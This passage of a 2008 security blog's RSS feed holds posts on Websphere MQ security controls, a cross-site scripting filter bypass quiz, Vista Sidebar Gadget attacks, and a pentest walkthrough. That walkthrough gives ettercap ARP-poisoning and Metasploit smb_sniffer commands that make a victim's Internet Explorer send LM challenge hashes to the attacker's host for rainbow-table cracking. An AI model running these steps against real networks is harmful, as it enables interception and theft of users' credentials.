<li><strong>Lack of Accountability</strong> – When facing an audit it is vital that the company be able to demonstrate how its business process is transparent and can not be used for illegitimate purposes. Failure to be able to demonstrate this could result in fines or other action being taken if the company is suspected of engaging in such activities.</li>
</ul>
<p>These risks highlight how the security of the Middleware used by <code>Widget Corp</code> is of critical importance to its ongoing success. These risks can be directly mapped to a number of common security requirements and are common across all technologies and products. If you are examining a technology with such a close match to a fundamental business process it is important not to shy away from the importance of understanding the actual requirements for security controls. A mapping of the top three of the previously highlighted business risks against common security requirements is pictured here.</p>
<p><img src="http://usefulfor.com/security/files/2008/07/mapping1.png" alt="The diagram shows the relationship between business risk (confidentiality, integrity and availability) and security requirements (transport level security, authentication and authorisation)" width="450" height="415" class="aligncenter size-full wp-image-90" /></p>
<p>When using the <strong>Websphere MQ</strong> product there are a number of security features that can be used to meet these security requirements. An understanding of the relationship between these requirements and the features is critical and can be observed here: -</p>
<p><img src="http://usefulfor.com/security/files/2008/07/mapping2.png" alt="The diagram shows the relationship between security requirements (transport level security, authentication and authorisation) and Websphere MQ security feautures (SSL and TLS, MCAUSER and Security Exits)" width="450" height="396" class="aligncenter size-full wp-image-91" /></p>
<p>As can be observed in the diagram there are three primary security features that are available within Websphere MQ when considering network based access to the software.  Each of these features is described briefly with respect to its functionality and the potential impact on the system if it is not used: -</p>
<ul>
<li><strong>SSL and TLS Encryption</strong> – A wide range of ciphers can be configured to protect any communication of <strong>Websphere MQ</strong> data across a network including enforcing a requirement for a system to present a client certificate at connection time. The use of a given cipher or client certificate controls can be tested for on a channel by channel basis and the error codes that are returned enable the status to be accurately determined. Failure to use these controls could result in traffic sniffing attacks being a viable method for compromising data confidentiality and integrity.</li>
<li><strong>MCAUSER</strong> – Each channel can be protected with a user context under which the messaging transactions take place. This can be reviewed by investigating channel settings using Inquire commands which are standard <strong>Websphere MQ</strong> operations. If <code>MCAUSER</code>s are not defined it could enable a user to access objects for which they have not been granted authorisation to do so.</li>
<li><strong>Security Exit</strong> – An external application can be defined which <strong>MQ</strong> hands off the responsibility of user authentication to and can enforce both user and IP addresses restrictions. If an exit has been configured for a channel <strong>Websphere MQ</strong> it will indicate this when attempting to connect. If a security exit is not defined for a channel it means that no user authentication can occur, system authentication can still occur using SSL but this has no direct mapping to user based access control on the <strong>Websphere MQ</strong> system itself.</li>
</ul>
<p>When examining the technology it is important that the role of each of these be understood, how their presence can be tested for and in which circumstances they are required. Given that these security controls are available it could be assumed that they are always utilised. However, this is a false assumption and often one if not all of these features are either not used or not used with appropriate coverage. Therefore, on the majority of installations there are plenty of security vulnerabilities just waiting to be discovered by someone who looks in sufficient detail.</p>
<p>This article has provided a basic overview of the mapping between risk and security controls associated with the <strong>Websphere MQ</strong> product and the features that can be enabled. For more information about these have a read of the white paper discussed earlier. Next time I will begin to discuss how a security assessment from the perspective of a penetration tester can be mapped out and will examine some new features of dradis that can help this to be achieved.</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=88&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/07/09/middleware-and-me-part-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Grabbing LM challenges with an ettercap filter</title>
		<link>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/</link>
		<comments>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 17:15:58 +0000</pubDate>
		<dc:creator>editor</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=71</guid>
		<description><![CDATA[hack-fu by: bob So... this is an amalgamtion of several ideas and bits of work I've found floating around that I put together. The result is a handy pentesting/pwnage technique. The following blog that kicked this idea off discusses a modified Metasploit exploit module called smb_server.pm by Kurt Grutzmacher: NTLMv1, Metasploit and You.  Around [...]]]></description>
			<content:encoded><![CDATA[<p>hack-fu by: <strong>bob</strong> So... this is an amalgamtion of several ideas and bits of work I've found floating around that I put together. The result is a handy pentesting/pwnage technique. The following blog that kicked this idea off discusses a modified Metasploit exploit module called smb_server.pm by Kurt Grutzmacher: <a href="http://grutztopia.jingojango.net/2007/04/ntlmv1-metasploit-and-you.html">NTLMv1, Metasploit and You</a>.  Around the same time I'd been playing with some ettercap filters, based on the below work at Irongeek: <a href="http://www.irongeek.com/i.php?page=security/ettercapfilter">Fun with Ettercap Filters</a>.  These two sparked something and gave me a use of those huge LMHALFCHALLENGE rainbow tables I'd downloaded. <span id="more-71"></span></p>
<h3>Goal:</h3>
<p>To retreive a client's currently logged in credentials through manipulation of their HTTP stream (via a MITM attack).  Most of the clients seen during various internal tests were pretty well firewalled and patched. However by manipulating a client's HTTP stream it was possible to have them send their username and the majority of their password hash.</p>
<h3>Conditions:</h3>
<p>So as with most things there are some conditions that must be inplace for this to be successful and also requirements that the credential snarfer must have sorted.  Client Conditions:-:</p>
<ul>
<li>The target client must be using a version of IE for their browsing. During testing IE appears to be the only browser that by default sends through the resonse to the challenge of the locally logged in user that we're after.</li>
<li>Must be on same netowrk segment, for the MITM attack to work of course.</li>
<li>Only LANMAN hashes can be obtained this way. If the client has been configured to support NTLM only then we lose. Most default installs will not be set up this way, you <strong>may</strong> encounter more secure setups in some corporate environments.</li>
<li>Only the first 7 characters are in the tables. Youll have to brute force the rest of the password.</li>
</ul>
<h3>Attacker's Rig:</h3>
<ul>
<li>Some LMHALFCHALL rainbow tables: <a href="http://www.freerainbowtables.com/tables/halflmchall/halflmchall_all-space_1-7.torrent">halflmchall_all-space_1-7.torrent</a> (54gig) -or- <a href="http://www.freerainbowtables.com/tables/halflmchall/halflmchall_alpha-numeric_1-7.torrent">halflmchall_alpha-numeric_1-7.torrent</a> (5gig)</li>
<li>Metasploit, plus Kurt Grutzmacher's exploit module smb_server.pm from here (this does not work on Windows):
<ul>
<li><a href="http://metasploit.com/tools/">http://metasploit.com/tools/</a>: Looking for Framework v.2.7</li>
<li><a href="http://grutz.jingojango.net/exploits/smb_sniffer.pm">smb_sniffer.pm</a></li>
</ul>
</li>
<li><a href="http://ettercap.sourceforge.net/download.php">Ettercap</a> plus an ettercap filter to rewrite the victims web pages <a href="/security/files/2008/07/LMHC_etter.filter">LMHC_etter.filter</a>.</li>
<li><a href="http://www.oxid.it/downloads/ca_setup.exe">Cain &amp; Abel</a> to perform the crypt analysis of the LMHALFCHALLENGE hashes recovered. As far as I know these rainbow tables for LMHC were created with the Cain &amp; Abel utility winrtgen and therefore are incompatible with the patched version of rcrack.</li>
</ul>
<h3>Attacker Process:</h3>
<ul>
<li>Fix up the IP address in the <code>LMHC_etter.filter</code> file to represent the host you'll be running Metasploit 2.7 &amp; the smbsniffer exploit module from.</li>
<li>Compile that with:
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>etterfilter.exe -o LMHC_etter.ef LMHC_etter.filter</pre></div></div>
</li>
<li>Unpack Metasploit 2.7 from tha above link, place <code>smb_sniffer.pm</code> under the exploits/ directory.</li>
<li>Install and run as root</li>
<li>Metasploit commands :
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>framework-2.7 $ sudo ./msfconsole msf &amp;gt; use smb_sniffer msf smb_sniffer &amp;gt; set PWFILE=/tmp/smb_sniffed.pw3</pre></div></div>
<p> So the SMBsniffer is waiting listening for connections fro the victims IE. So we need to rewrite some of their web requests to ensure they pass us their LMHALFCHALLENGE hashes.</li>
<li>Run up ettercap using our compiled filter from earlier, to perfom the arp poisoning attack with the following:
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>ettercap -Tq -M arp:remote -F /mnt/LMHC_etter.ef /GATEWAY ADDRESS/ /VICTIM ADDRESS/</pre></div></div>
</li>
<li>When the page gets rewritten correctly IE will attempt to make the connection and send the logged in user credentials to your waiting server.</li>
<li>Resulting in a Pwdump compliant output file called <code>smb_sniffed.pw3</code></li>
<li>Switch to Cain &amp; Abel for the hash cracking</li>
<li>Select the hash you want to crack, right click and select Cryptanalysis Attack-&gt;HALFLM Hashes + challenge-&gt;via RainbowTables, add the tables, and crack it.</li>
</ul>
<h3>Some Other Things To Play With In The Same Eenvironment:</h3>
<p><a href="http://str0ke213.tradebit.com/pub/8/67.swf">LSO: MSFweb 3.0 part 2</a> (via Milw0rm videos)</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=71&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/06/24/lm-challenge-ettercap-filter/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>middleware and me (part 1)</title>
		<link>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/</link>
		<comments>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/#comments</comments>
		<pubDate>Tue, 06 May 2008 18:31:11 +0000</pubDate>
		<dc:creator>editor</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/security/middleware-and-me-part-1</guid>
		<description><![CDATA[hack-fu by: rux0r
This post is the first in a series on the subject of enterprise messaging and in particular on IBM's flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers [...]]]></description>
			<content:encoded><![CDATA[<p><strong>hack-fu by</strong>: rux0r</p>
<p>This post is the first in a series on the subject of enterprise messaging and in particular on IBM's flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.<br />
<span id="more-50"></span><br />
When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -</p>
<ul>
<li>Is it an internal or external test?</li>
<li>What technologies are involved?</li>
<li>What is the business process the application is used for?</li>
</ul>
<p>Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -</p>
<p class="aligncenter"><img class="aligncenter size-full wp-image-69" src="http://usefulfor.com/security/files/2008/06/mq_image1_496.png" alt="Diagram that shows a question mark between a web server and a database" width="496" height="166" /></p>
<p>So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -</p>
<ul>
<li>The bit of the process the client didn't ask to be tested.</li>
<li>The part of the application I don't understand.</li>
<li>The software products and solutions that don't appear in books on hacking or security testing.</li>
<li>A cloud through which data passes that I don't need to understand.</li>
</ul>
<p>Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -</p>
<p class="aligncenter"><img class="aligncenter size-full wp-image-70" src="http://usefulfor.com/security/files/2008/06/mq_image2_496.png" alt="Diagram that shows how middleware sits between the frontend and the backend servers" width="496" height="166" /></p>
<p>So what is this mystical <em>middleware</em> that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including <a href="http://www.microsoft.com/windowsserver2003/technologies/msmq/default.mspx">Microsoft Message Queuing</a> (MSMQ), <a href="http://www.sun.com/software/products/message_queue/index.xml">Sun Message Queue</a>, <a href="http://www.ibm.com/software/integration/wmq/">IBM Websphere MQ</a> and <a href="http://activemq.apache.org">ActiveMQ</a>.</p>
<p>So if these products exist, how do we test them? Unfortunately I can't provide an all encompassing answer for that question, but I can tell you all about one of these products, namely <strong>IBM's Websphere MQ</strong>. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:<br />
<a href="http://www.mwrinfosecurity.com/publications/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">Websphere MQ Security White Paper</a> (<a href="http://usefulfor.com/security/files/2008/06/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #1</a>).</p>
<p>The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: <a href="http://www.mwrinfosecurity.com/publications/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">MQ Jumping - Defcon 15 Presentation</a> (<a href="http://usefulfor.com/security/files/2008/06/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">mirror #1</a>).</p>
<p>On the next part of this series of blog posts I will be talking about the security architecture of <strong>Websphere MQ</strong>, stay tuned <img src='http://usefulfor.com/security/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=50&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/05/06/middleware-and-me-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>security quiz: input validation bypass</title>
		<link>http://usefulfor.com/security/2008/02/22/security-quiz-input-validation-bypass/</link>
		<comments>http://usefulfor.com/security/2008/02/22/security-quiz-input-validation-bypass/#comments</comments>
		<pubDate>Fri, 22 Feb 2008 01:59:41 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Webapp security]]></category>
		<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=42</guid>
		<description><![CDATA[From The Web Application Hackers Handbook a quick quiz:

An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:
1.- strip any &#60;script&#62; expressions that appear
2.- truncate the input to 50 characters
3.- remove any quotation marks within the input
4.- url-decode the input
5.- if any items were [...]]]></description>
			<content:encoded><![CDATA[<p>From <a href="http://www.amazon.co.uk/gp/redirect.html?ie=UTF8&amp;location=http%3A%2F%2Fwww.amazon.com%2FWeb-Application-Hackers-Handbook-Discovering%2Fdp%2F0470170778&amp;tag=etsdoandos-21&amp;linkCode=ur2&amp;camp=1634&amp;creative=6738">The Web Application Hackers Handbook</a><img src="http://www.assoc-amazon.co.uk/e/ir?t=etsdoandos-21&amp;l=ur2&amp;o=2" width="1" height="1" border="0" alt="" style="border:none !important;margin:0px !important" /> a quick quiz:</p>
<blockquote><p>
An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:</p>
<p>1.- strip any &lt;script&gt; expressions that appear<br />
2.- truncate the input to 50 characters<br />
3.- remove any quotation marks within the input<br />
4.- url-decode the input<br />
5.- if any items were deleted, return to step 1
</p></blockquote>
<p>how would you bypass it?</p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=44&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2008/02/22/security-quiz-input-validation-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Sidebar Gadgets Attacks</title>
		<link>http://usefulfor.com/security/2007/09/27/sidebar-gadgets-attacks/</link>
		<comments>http://usefulfor.com/security/2007/09/27/sidebar-gadgets-attacks/#comments</comments>
		<pubDate>Thu, 27 Sep 2007 06:32:57 +0000</pubDate>
		<dc:creator>rdv</dc:creator>
				<category><![CDATA[hack-fu]]></category>

		<guid isPermaLink="false">http://usefulfor.com/security/?p=72</guid>
		<description><![CDATA[Windows Vista includes the “Windows Sidebar”. This new feature allows users to display ‘gadgets’ on the sidebar and on the Windows desktop. Gadgets are small applications containing HTML, XML and JavaScript. They can be very flexible in design and function.
Gadgets are easy to install, to use and can be easily developed by any Vista user. [...]]]></description>
			<content:encoded><![CDATA[<p>Windows Vista includes the “Windows Sidebar”. This new feature allows users to display ‘gadgets’ on the sidebar and on the Windows desktop. Gadgets are small applications containing HTML, XML and JavaScript. They can be very flexible in design and function.</p>
<p class="MsoNormal">Gadgets are easy to install, to use and can be easily developed by any Vista user. They can enhance efficiency; they can be fun and can look good on a desktop. Windows Vista includes various gadgets by default, such as a calendar, calculator and currency converter. In addition, a large number of organisations have gadgets for download and use, such as London Underground, Amazon, ebay, etc.</p>
<p class="MsoNormal">Gadgets can be perceived by users as fun and harmless; but their characteristics can make of Gadgets a potential risk for Vista users. They run with the permissions of the logged on user and operate outside of IE’s Protected Mode. Additionally, gadgets will usually communicate with a remote server to obtain information and a rich gadget API which contains some potentially dangerous methods is available.</p>
<p class="MsoNormal">At the present time there are two main classes of gadget attacks: - <span id="more-72"></span></p>
<p class="MsoNormal"><strong>Malicious Gadgets </strong></p>
<p class="MsoNormal">These are hostile applications you get tricked into running and can compromise your system or capture sensitive information. There is massive scope for a malicious gadget attack:-</p>
<ul>
<li>Executing commands on the local system</li>
<li>Connect back shell</li>
<li>Password Gathering</li>
<li>Denial of Service</li>
<li>Phishing</li>
</ul>
<p class="MsoNormal"><strong>Insecure Gadgets </strong></p>
<p class="MsoNormal">These are poorly written gadgets that contain vulnerabilities that could allow remote command execution on the affected system.</p>
<p class="MsoNormal">Consider a gadget that connects to a remote web server and retrieves information about the latest news. Suppose an attacker compromised the remote server from where the gadget receives information or can alter network traffic between the user and the remote server.</p>
<p class="MsoNormal"><a href="http://usefulfor.com/security/files/2008/06/script-injection_diagram.jpg"></a><a href="http://usefulfor.com/security/files/2008/06/script-injection_diagram.jpg"> </a><a href="http://usefulfor.com/security/files/2008/06/script-injection_diagram.jpg"> </a></p>
<p style="text-align: center"><a href="http://usefulfor.com/security/files/2008/06/script-injection_diagram.jpg"><img class="aligncenter size-medium wp-image-84" src="http://usefulfor.com/security/files/2008/06/script-injection_diagram-300x133.jpg" alt="" width="300" height="133" /></a></p>
<p class="MsoNormal">The attacker could change the data returned to the gadget which is usually rendered as HTML/JavaScript. If the code is written insecurely the attacker could inject Gadget API calls, which could enable remote code execution to occur.</p>
<p class="MsoNormal">Lots of gadgets have popped up from both “Amateurs” and Development Companies. Of the Gadgets that we have tested a large number are vulnerable to the script injection attack.</p>
<p class="MsoNormal">During this research a large number of gadgets were identified to be vulnerable to script injection attacks. Two widely used gadgets identified to be vulnerable to this type of attack were publicly disclosed as proof of concepts . Information about these two gadgets isssues can be found in the following locations:-</p>
<p class="MsoNormal"><a href="http://usefulfor.com/security/2008/02/07/itn-news-gadget-script-injection/">ITN News Gadget</a></p>
<p class="MsoNormal"><a href="http://usefulfor.com/security/2008/04/24/national-rail-live-enquiries-departure-board-gadget-script-injection/">National Rail Live Enquiries Departure Board Gadget</a></p>
<p class="MsoNormal"><strong>Conclusion</strong></p>
<p class="MsoNormal">This is the start of the Gadget era and already there are lots of ideas about potential attacks, such as script injection, cross site scripting, worms, parser bugs, tricking users, malicious code, etc. In the majority of these attacks these aren’t new dangers but are another approach for attackers.</p>
<p class="MsoNormal">At this early stage of gadgets, a large number or gadgets are vulnerable to attacks and a number of dangers exist. <span> </span>This indicates a potential explosion of attacks given the current state of gadget security.</p>
<p class="MsoNormal">More detailed information about the dangers of gadgets, example attacks, demonstrations and best practices and recommendations can be found in the following white paper:</p>
<p>Considerations for the Secure Rollout of Sidebar Gadgets on Windows Vista <a href="http://www.mwrinfosecurity.com/publications/mwri_sidebar-gadgets_2007-09-25.pdf">[1]</a> <a href="http://usefulfor.com/security/files/2008/06/mwri_sidebar-gadgets_2007-09-25.pdf">[2]</a></p>
<img src="http://usefulfor.com/security/?ak_action=api_record_view&id=72&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://usefulfor.com/security/2007/09/27/sidebar-gadgets-attacks/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
